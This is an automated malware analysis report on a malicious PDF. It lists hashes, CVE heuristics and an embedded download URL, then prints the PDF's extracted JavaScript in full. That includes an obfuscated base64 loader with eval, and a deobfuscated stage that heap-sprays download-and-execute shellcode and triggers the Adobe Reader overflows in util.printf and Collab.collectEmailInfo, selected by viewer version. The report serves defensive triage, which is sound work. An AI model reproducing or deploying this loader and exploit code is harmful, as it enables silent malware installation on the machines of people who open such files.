Malicious PDF — malware analysis report

Static analysis result for SHA-256 f7e0161977754822…

MALICIOUS

PDF

17.5 KB Created: 2009-07-23 09:35:06 Authoring application: ooCZ5T1m (via roUkpCs) First seen: 2012-07-12
MD5: 4f21e0f029e41f467e74b936cb3ca2c8 SHA-1: ed4cd660e94498d7065a4bc65f07ad57d4ab1ce6 SHA-256: f7e01619777548221e1e5c74bafc9ee4a50492cc86dd5e226e8832cfde534736
498 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including 'PDF_JAVASCRIPT', 'PDF_JS', and 'PDF_EVAL'. The ClamAV detection 'Js.Trojan.Obfus-48' strongly suggests malicious JavaScript. The JavaScript stream is obfuscated, and the 'PDF_EVAL' firing points to the execution of this obfuscated code. The likely intent is to download and execute a secondary payload, as is common with such obfuscated JavaScript in PDFs.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Js.Trojan.Obfus-48 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Js.Trojan.Obfus-48
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
                    eval(MnIbcKa);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://grasma.com/spl6/load.php Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x225 16616 bytes
SHA-256: f3ff4fc93d31470324c5bee2c0c727382ce2be7be884ec8afdb3294cff2d7e74
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var DcV6l7Q="";
                                var MnIbcKa="";
                                function vQCcBFP( vIwqsUH6Fyi ) {
                                    var Ett8oF2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
                                    var GXAdebhwOzX1J, gaYRDkg, fzWX7Ln9Rfg, qKCzGay, JER5aEC2ttdCDp, lQ0H2REsK, FPy99s, OKAwZNyT, YfURqxr1Ft = DlmDvCB5K = 0, lhOLex = "", KQACDO9QZ = [];
                                    vIwqsUH6Fyi += "";
                                    do {
                                        qKCzGay = Ett8oF2.indexOf(vIwqsUH6Fyi.charAt(YfURqxr1Ft++));
                                        JER5aEC2ttdCDp = Ett8oF2.indexOf(vIwqsUH6Fyi.charAt(YfURqxr1Ft++));
                                        lQ0H2REsK = Ett8oF2.indexOf(vIwqsUH6Fyi.charAt(YfURqxr1Ft++));
                                        FPy99s = Ett8oF2.indexOf(vIwqsUH6Fyi.charAt(YfURqxr1Ft++));
                                        OKAwZNyT = qKCzGay<<18 | JER5aEC2ttdCDp<<12 | lQ0H2REsK<<6 | FPy99s;
                                        GXAdebhwOzX1J = OKAwZNyT>>16 & 0xff;
                                        gaYRDkg = OKAwZNyT>>8 & 0xff;
                                        fzWX7Ln9Rfg = OKAwZNyT & 0xff;
                                        if (lQ0H2REsK == 64) {
                                            KQACDO9QZ[DlmDvCB5K++] = String.fromCharCode(GXAdebhwOzX1J);
                                        } else if (FPy99s == 64) {
                                            KQACDO9QZ[DlmDvCB5K++] = String.fromCharCode(GXAdebhwOzX1J, gaYRDkg);
                                        } else {
                                            KQACDO9QZ[DlmDvCB5K++] = String.fromCharCode(GXAdebhwOzX1J, gaYRDkg, fzWX7Ln9Rfg);
                                        }
                                    } while (YfURqxr1Ft < vIwqsUH6Fyi.length);
                                    lhOLex = KQACDO9QZ.join("");
                                    lhOLex = kQzE7TfxRWx(lhOLex);
                                    return lhOLex;
                                }
                                function kQzE7TfxRWx ( GXAdebhwOzX1J ) {
                                    var gaYRDkg = [], fzWX7Ln9Rfg = qKCzGay = vIwqsUH6Fyi = JER5aEC2ttdCDp = lQ0H2REsK = 0;
                                    GXAdebhwOzX1J += "";
                                    while ( fzWX7Ln9Rfg < GXAdebhwOzX1J.length ) {
                                        vIwqsUH6Fyi = GXAdebhwOzX1J.charCodeAt(fzWX7Ln9Rfg);
                                        if (vIwqsUH6Fyi < 128) {
                                            gaYRDkg[qKCzGay++] = String.fromCharCode(vIwqsUH6Fyi);
                                            fzWX7Ln9Rfg++;
                                        } else if ((vIwqsUH6Fyi > 191) && (vIwqsUH6Fyi < 224)) {
                                            JER5aEC2ttdCDp = GXAdebhwOzX1J.charCodeAt(fzWX7Ln9Rfg+1);
                                            gaYRDkg[qKCzGay++] = String.fromCharCode(((vIwqsUH6Fyi & 31) << 6) | (JER5aEC2ttdCDp & 63));
                                            fzWX7Ln9Rfg += 2;
                                        } else {
                                            JER5aEC2ttdCDp = GXAdebhwOzX1J.charCodeAt(fzWX7Ln9Rfg+1);
                                            lQ0H2REsK = GXAdebhwOzX1J.charCodeAt(fzWX7Ln9Rfg+2);
                                            gaYRDkg[qKCzGay++] = String.fromCharCode(((vIwqsUH6Fyi & 15) << 12) | ((JER5aEC2ttdCDp & 63) << 6) | (lQ0H2REsK & 63));
                                            fzWX7Ln9Rfg += 3;
                                        }
                                    }
                                    return gaYRDkg.join("");
                                }

                DcV6l7Q= vQCcBFP("function RGmQN6LGbo9a(gBMEJp3y){ return String['fromCharCode'](gBMEJp3y);} function gfZDPOiO5Ldx5z(amPBsb){ var z9SnenusLPu6Qw=0, GYCZD=amPBsb.length, ys8oXg2w6kKA7=1024, IAxkIj, QclzhKCGX, yPRww9='', WDiDOoCVz0GIt=z9SnenusLPu6Qw, mVCmCXyT5IbU=z9SnenusLPu6Qw, mRsVK7EYU3=z9SnenusLPu6Qw, p2tHJ=Array(63,8,22,36,46,24,7,48,47,3,0,0,0,0,0,0,42,31,23,37,27,50,45,40,13,33,55,30,26,59,51,57,41,62,38,9,21,20,12,0,17,16,56,0,0,0,0,29,0,14,18,60,32,15,10,25,43,53,28,11,5,1,39,61,52,19,49,58,34,35,4,54,44,6,2); for(QclzhKCGX=Math.ceil(GYCZD/ys8oXg2w6kKA7);QclzhKCGX>z9SnenusLPu6Qw;QclzhKCGX--){ for(IAxkIj=Math.min(GYCZD,ys8oXg2w6kKA7);IAxkIj>z9SnenusLPu6Qw;IAxkIj--,GYCZD--){ mRsVK7EYU3|=(p2tHJ[amPBsb.charCodeAt(WDiDOoCVz0GIt++)-48])<<mVCmCXyT5IbU; if(mVCmCXyT5IbU){ yPRww9+=RGmQN6LGbo9a(253^mRsVK7EYU3&255); mRsVK7EYU3>>=8; mVCmCXyT5IbU-=2; } else { mVCmCXyT5IbU=6; } } } eval(yPRww9); } gfZDPOiO5Ldx5z('Ls1ETEGxS9VtqtPuKEgu52oJ5u5EanxN5u5EanxN5u5EanxN5u5NMtM85uGNauc85uZEkMkr5u5rH0kr5u5rHJVN5u14MsxN5u14enxN5u1404k85u14lJVE5uZ4Mth85uZ4M4M45u5r0@c45u54MRV45u14MtM45uZESuM45u14aNM45u1rM4jE5u5Ee8hN5u1rM4jE5uZEZthE5u14MwxN5u14MtM85uZESuM45uZ8vJxN5uZEVBxE5u14VNkN5u5NfJxN5u14MEVN5u14MtM45u18c4cE5uZ8vuM85uGEfBxE5uZE1NVN5u5NfukN5u14MEc45u14MtM45u18c4cE5uZ8vuhE5uG8c2xE5u1NHuc45u5Nf0j45u14Mwj45u14MtM45u18c4cE5uZ8vuhN5u5NHBxE5u5NMQVN5u5NfBc45u14Msc85u14MtM45u18c4cE5uZ8v8M45uZNZ2xE5u5NcbcE5u5NfuxE5u14MQVr5u14MtM45u18c4cE5u18M4M85u54f8c45u1rcQx85uZEkNVE5uZ4fNk85u14lJcE5u14Mtk45uZ8VuM45u1rc4cE5uZESMM85u140Ek85u14Z2VE5uZES0ME5uZ4f0k85u5Nf0kr5u14M4jE5u14MtM45u5rf0M45uZ41nkr5u1rMsDN5uGElJxE5u14MtM45uZEkuM45uZ4aNk85uZNc4jE5uZNM4x85uZEk0M45uG8MEk85u1NHBxE5u14MtM45uZ8MtM45u18c4jE5u5r18M85uZ8kuD45uZ8c4jE5u5Nf8hE5u14M2V45u14MtM45u18cth85uZNlMM45uZ8auM45uG8VqVN5uZNlBV85u140EM45u5rcbxE5u14MtM45u1rcEjN5uZESMM45u14aNk85u14Z2VE5uZES0ME5uZ4f0k85u18MwxE5u14MtM45u5r1uM45uZ8fuDr5u18cth85u54QsM85uZ8QsjE5u1NH0h85uG8MbV85uZ8QQM45u18c4jE5u5r18hN5uZ8kuk85uZ8c4jE5u5Nf8hE5u14Msh85u14MtM45u14M2VE5u1rcEjN5uZESMM45u14fNk85u14O2VE5uZES0ME5uZ4f0k85uZ4MwxE5u14MtM45u5r1uM45uZESNjN5uZ4MEk85u14Z2VE5uZES0ME5uZ4f0k85u14MwxE5u14MtM45u18ZtM45uZ8OQDE5u5NZth85u5NZth85u5NZth85u5NZth85u5Na8x85uZ81uM85uZES0h85u5NOsVE5uZ8OEjr5u5NMEjN5uZES0k85uZESJxN5u14fqcN5uZ8e8jE5uZ8vuhN5u1rQ4jE5uZESnhN5uZ4Vqc85u14QbxE5uZ8vNx85u1rv8jE5u14QsM45u54QEx85u18k0cE5u5EeNk45uZNQth85u54QQkr5u14HNVr5uZ4MtVN5u1NORkE5u14fqc85uZNV0V45u14QtMN5u18MEj45u1NZwjE5u1NVnDE5u1rcQkN5uZ81JV85u5NS8jE5uZ818jE5u14QsM85u5rvMcN5u14a8jE5uZESNDE5uZ4a0kE5uGNeuh85u1404jE5u14Q4jE5uZ8V0V85uZNOQMN5u14MthE5u1N0wxE5u1NHNVN5uZ8cEjN5u18a0D45u18HNMN5u14MEkN5uGES8jr5uGEHhjE5uZNMsV85uZEf0c45uZEVhcN5uZEO@xN5uZNZ4VN5uZEM4xN5uZNM4j45uGEHhxN5uGNk8x85uZEQQc45uZEV8c45uZNZ4jE5uZElhjN5u5NHhjNAqFr_81new_hitsh8b5@fBP3WuZ35sGnjw1RT0Hw1wV8HNkw1wV8HNMJUDctjQ5JqzS7eJxrkEOu_8PRWeS32hPu1BSuERcpXtO3LR5Cyh5CUySRTJLFGQshvR@ETfOpXtO3LR5Cm8PRUJLFGQshvR@ETfPiWJLFGQshvR@ETfPrkEOu_eS3AQ17F2k@8QfIP@jCbaFu1QPuSQ1Cq@giH6oRLbFrkEOu_M5tU@S7F2k@8QfIP@jCbaFu1QPuSQ1Cq@giH6_hitsh8b5@fBP3q6SRq@gtTzoRLbFrf2SCXtgiaR1CLa_35aPRS2PiD@g7HBZEHJjNHqFuSbPRWM5tU@PiaR1CLLo3YQOuy81newHneQ13WeSRfwH8eQ1nv2Hiy8P3e2HC6zjNyqOImNcNHJxrUKGi2qFIjQZuYLfC6zf7aR1CLLFRatjCVfDEW41newo84bxCOES32ESuLbf7ANcNv0FiAqVrvqVrvqVrADoJvqVrvqcJ20HrvqVrADoJlBjrlBjrl0FiABjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrl0FiABjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrADoJlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrADoJlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBjrlBcJ20_rlBjrlBjrlBjrlBjrADoJlBjrlBjrlBjrlBjrlBjrlBjrl0FiABjrlBjrlBjrlBjrlBjrADVtSbg3qJZuUagtD2oJ5nVEHJjNDQ_p0sfr2RknYLSnV@SPUDcR1aPnSbP3qw_x0akEXwju7Ec@kQcETq_JywotjQ5J22fRGEj30w1E4wH7_eSRfwH8eQ1nv2HiyJoR1aPnSbP3qwH@HqLPOQDiVbL@cbOFCbgp_uhC14P44LD3Pb_JywFtTbg35w_iVbL@cbOFCbOpXtO3LR5CB0j7ZLStD@hhwyg@UD1u3Rf8UKDPUwFiWJHu3Rf8UKDPULVd_N1PPEkCJ2fC_9jJVbL@cbOFCbOpatZnaRZuUaPRTJjpZLStD@hhwyg@b0ViyJou5R1teagJVbL@cbOFCbPr_95JDtZ3KR1CbagJXbDNFEVF3KfuXyO4cLDiUJFI_81newF3aMcuXQGF@wH7_JjIHMgNKwxnHMPr_81newoRYthFC2ghhEcP1Qxu4wH7_uZ35sGnjw1RT0Hw1RxNSMVw1RxNSMVw1RxNSMVw1wc4ZQkw1sxN10kw14cEQbVw12jN0bVw12jNHNVw1tM4aMVw1tMNSMVw1tM8MEkw1tDrHuVw14M4Zskw14M4M4kw12c8f8kw1RM4Sukw1tM4Z4kw14jEZ4kw1thNc4kw1bc4knVw1RcNMsVw1bc4knVw14V4Z@Vw1tM4HMVw1tM4ZQkw14jEZ4kw1QkrHMVw14VNlhVw1tkNcEVw1wxEHMVw1tM4VNVw1tM4Z4kw1Ek8k8Vw1QkrZQkw1@xElhVw14VEVNVw1wxEZEVw1tM4V8kw1tM4Z4kw1Ek8k8Vw1QkrZ@Vw1sk8lhVw1EjN18kw1wxEenkw1tM4Hnkw1tM4Z4kw1Ek8k8Vw1QkrZsVw1wjNlhVw1wc4eNVw1wxEl8kw1tM4a0kw1tM4Z4kw1Ek8k8Vw1QkrM4kw1QV4lhVw1wV8v8Vw1wxE1hVw1tM4eqVw1tM4Z4kw1Ek8k8Vw1EM4MQkw1RhEk8kw1bV8eMkw14cEVuVw14hEcEkw1tDrH8Vw1tM4Ztkw1QkNZ4kw1bV8k8Vw14jEQQkw1tM8cEkw1tk4luVw14jE04Vw14hE0Ekw1wxE0bVw1tM4knVw1tM4Z4kw12xE04kw14kEObVw1bc4QwVw1@jrHhVw1tM4Z4kw14cEZ4kw14hNcEkw1QV8knVw1Qc4kMkw14cE04kw1sM4cEkw1EjNlhVw1tM4Z4kw1QM4Z4kw1Ek8knVw12VEMQkw1QMEZRkw1Qk8knVw1wxEM@Vw1tM4lukw1tM4Z4kw1Ek8Zskw1QjrQ4kw1QhNZ4kw1skNvNVw1QjrlNkw1tM8c4kw12V8vhVw1tM4Z4kw1bV8VJVw14jEQ4kw1thNcEkw1tk4luVw14jE04Vw14hE0Ekw1EM4HhVw1tM4Z4kw12VEZ4kw1QhEZ2Vw1Ek8Zskw1Rh8QQkw1Qh8anVw1EjN0skw1sM4vNkw1Qh804kw1Ek8knVw12VEMsVw1QMEZEkw1Qk8knVw1wxEM@Vw1tM4Qskw1tM4Z4kw1tM4luVw1bV8VJVw14jEQ4kw1thEcEkw1tD4luVw14jE04Vw14hE0Ekw14M4HhVw1tM4Z4kw12VEZ4kw14jEVJVw14M4cEkw1tk4luVw14jE04Vw14hE0Ekw1tM4HhVw1tM4Z4kw1Ek4Z4kw1QD40RVw1wV4Zskw1wV4Zskw1wV4Zskw1wV4Zskw1wxNkMkw1QkEZQkw14jE0skw1wj4auVw1QD4VBVw1wc4VJVw14jE0Ekw14jEHMVw1thEv0Vw1QMNknVw1QkrZsVw1bx8knVw14jEOsVw14kNv0kw1th8vhVw1QkrVMkw1bVrknVw1th8Q4kw1Rh8VMkw1EMEe8Vw1RcNctkw1Qx8Zskw1Rh80bVw1tDNVqVw14M41NVw1Ej4OtVw1thEv0kw1QVNeukw1th8ZQVw1EM4Vnkw1EV4HnVw1EVNORVw1bV80EVw1QkEHNkw1wjEknVw1QkEknVw1th8QQkw12Vra0Vw1thNknVw14jEcRVw14hN0tVw1scNZskw1tM8knVw1th8knVw1QkNeNkw1Qj40QVw1tM4Z@Vw1Ec8HhVw1EjNVNVw1Qk8VJVw1EhN0Rkw1EDNcQVw1tM4cEVw14Vra8kw1sj4knVw1@xNe8Vw14x8fJVw1sjEanMJUDjJkEOu_0sN74G3j4kxp4OuJ4D3_9jJHB5EHJjNHJxr_81newHuZ@1uPKDJWJoRYthFC2ghhEcP1Qxu4a_35aPRS2gJBJoNyJotjQ5JZLStD@hhwyg@_9jJ8QVxkfSnMzkFDQZFMygJYJ_iVthtVRsF2JjIaBViyJotjQ5JVbL@cbOFCbgJWJHtqtPuKEgu52oJ5u1rHqjN5u1rHqjNAqFr_N1PPEkCJ2fC_9jJGwVPCRM8TN1PPEkCJ2fCXJH42tZRss@FXRfiyJotjQ5JZKG@AKO4O4kuHhh81JH7_BF3aMcuXQGF@wHp_JjISJjNHJjNUkohe9MtbEO47bMReKM4XLjJDfOu_BotjQ5J5tkxvw@RTKOCBQO@WJxr5tkxvw@RTKOCBQO@muMI@QOCMRM4Vwx4Qtxr5tkxvw@RTKOCBQO@2DHi_D5J22fRGEj30w1E4LfRZzkIF@gCBKOCA4fG_9jJVbL@cbOFCbgJ2JoRYthFC2ghhEcP1Qxu4LjJWwHd_8StqsgtUfO3_DPF8@VNJws4kDOxJ2Hi_D5JkEOu_kk3VnVRVALJWJHnHwZpkbSRftOuhtOuabP3qa_tbsLtebO3L2HiyJFxYEjE5EcP_9jJEzSNSuSNnaou5w53jsSRTk_GOfFRX0oJUDjJkEOu_J5uGbZRg4huUyMRSJH7_eSRfwH8eQ1nv2FxYEjE5EcPqMgCjQ18S2_NU6FxYEjE5EcPqMgCjQ18S2HNU6FxYEjE5EcPqMgCjQ18S2oNUqFr_qOR_B_iHw1@v4gRMs1Cr4gERwVG_9V7_BjJD8_JTB_uHtfIDRO4abgxDRxPV9LJW9jJVJowDJ_uHtfIDRO4abgxDRxPe9LJmJoNUJ_dmw_uHtfIDRO4abgxDRxPV9LJmJHNUq_Jmy5JTJ5uGbZRg4huUyMRSDLNdwH7WJFE_8ow_J5uGbZRg4huUyMRSDfNdw_7_NVi_65d_B_uHtfIDRO4abgxDRxPH9LJmJFEUq_Jyw_3pwjhVqkPnE53X4k8w2HiyJotjQ5JURxEQKM8l2O@545F_9jJ1aSRasSnHtgiAuHtHMgNKtHtHMgNKQHiyJFtTbg352HCShx8JQDIT4fRk2MpXtO3LR5C_6jJSnVr10Vi_qgEfMMF025ChtOtiwFiWJHCShx8JQDIT4fRk2hr_n5CUsZpKfg3XEOn4RG3etgJWJF8byg3jQOpKfg3XtPnStk3jbg3paORb2FIatZnBKjJA0_pYsGR6JHCShx8JQDIT4fRk2kdUDjJWwHd_DPF8@VNJws4kDOxJ2HiyJHd');");
                MnIbcKa=vQCcBFP(DcV6l7Q);
                eval(MnIbcKa);
custom_b64_stage_000.js deobfuscated-js custom Base64 decoded JavaScript layer 3 (PDF /JS object 7) at offset 0x118C 4623 bytes
SHA-256: b354a601c9763924a23dd3d681740a382e0a622ac23a7cd53a6847588e9cd82d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
gs5hqO4=unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u672F%u6172%u6D73%u2E61%u6F63%u2F6D%u7073%u366C%u6C2F%u616F%u2E64%u6870%u0070"); var PHURRyT7ho=unescape("%u0A0A%u0A0A");var nm=20;var fg=nm+gs5hqO4.length;while(PHURRyT7ho.length<fg)PHURRyT7ho+=PHURRyT7ho;var nmbr=PHURRyT7ho.substring(0,fg);var stig=PHURRyT7ho.substring(0,PHURRyT7ho.length-fg);while(stig.length+fg<0x60000)stig=stig+stig+nmbr;var arrm=new Array();for(iz=0;iz<1200;iz++){arrm[iz]=stig+gs5hqO4}var BS9kDamkaqgY="129"+"99999999"+"99999"+"9999"+"8888888"+"888888888888888888888888888888"+"88888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888"+"888888888888888888888888888888888888888888"+"88888888888888888888888888888888888"+"8888888888888"+"8888888888888888888"+"88888888888888";util.printf("%45000f",BS9kDamkaqgY);function LBN5l0pM1Vv26() { var kXeU1lBp5S = new Array(); function U0YXDB(qYTAiJXi, EkufGSKlT) { while (qYTAiJXi.length*2<EkufGSKlT){qYTAiJXi += qYTAiJXi;} qYTAiJXi = qYTAiJXi.substring(0,EkufGSKlT/2); return qYTAiJXi; } function lI0P1IYZqllFAK() { var o33rlrKW = 0x0c0c0c0c; var fmEKXhPV1Zu2sS = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u693F%u3D64%u7326%u6C70%u343D"); var R2MvoaFMIfrJFl = 0x400000; var qEwqTJ = fmEKXhPV1Zu2sS.length * 2; var EkufGSKlT = R2MvoaFMIfrJFl - (qEwqTJ+0x38); var qYTAiJXi = unescape("%u9090%u9090"); qYTAiJXi = U0YXDB(qYTAiJXi, EkufGSKlT); var EzWbjFDFq0GC5 = (o33rlrKW - 0x400000)/R2MvoaFMIfrJFl; for (var eEMyPghjjjbV=0;eEMyPghjjjbV<EzWbjFDFq0GC5;eEMyPghjjjbV++) { kXeU1lBp5S[eEMyPghjjjbV] = qYTAiJXi + fmEKXhPV1Zu2sS; } } function kKR71JPF6kNJ() { var Om14e1Z = app.viewerVersion.toString(); Om14e1Z = Om14e1Z.replace(/\D/g,""); var ppUyfdFsiLf4 = new Array(Om14e1Z.charAt(0),Om14e1Z.charAt(1),Om14e1Z.charAt(2)); if ((ppUyfdFsiLf4[0] == 8 && ((ppUyfdFsiLf4[1] == 1 && ppUyfdFsiLf4[2] < 2) || ppUyfdFsiLf4[1] < 1)) || (ppUyfdFsiLf4[0] == 7 && ppUyfdFsiLf4[1] < 1) || (ppUyfdFsiLf4[0] < 7)) { lI0P1IYZqllFAK(); var i47CJBxhVevH = unescape("%u0c0c%u0c0c"); while(i47CJBxhVevH.length < 44952) i47CJBxhVevH += i47CJBxhVevH; this.collabStore = Collab.collectEmailInfo({subj: "",msg: i47CJBxhVevH}); } } kKR71JPF6kNJ(); }

Open this report in the interactive analyzer, or submit your own file for analysis.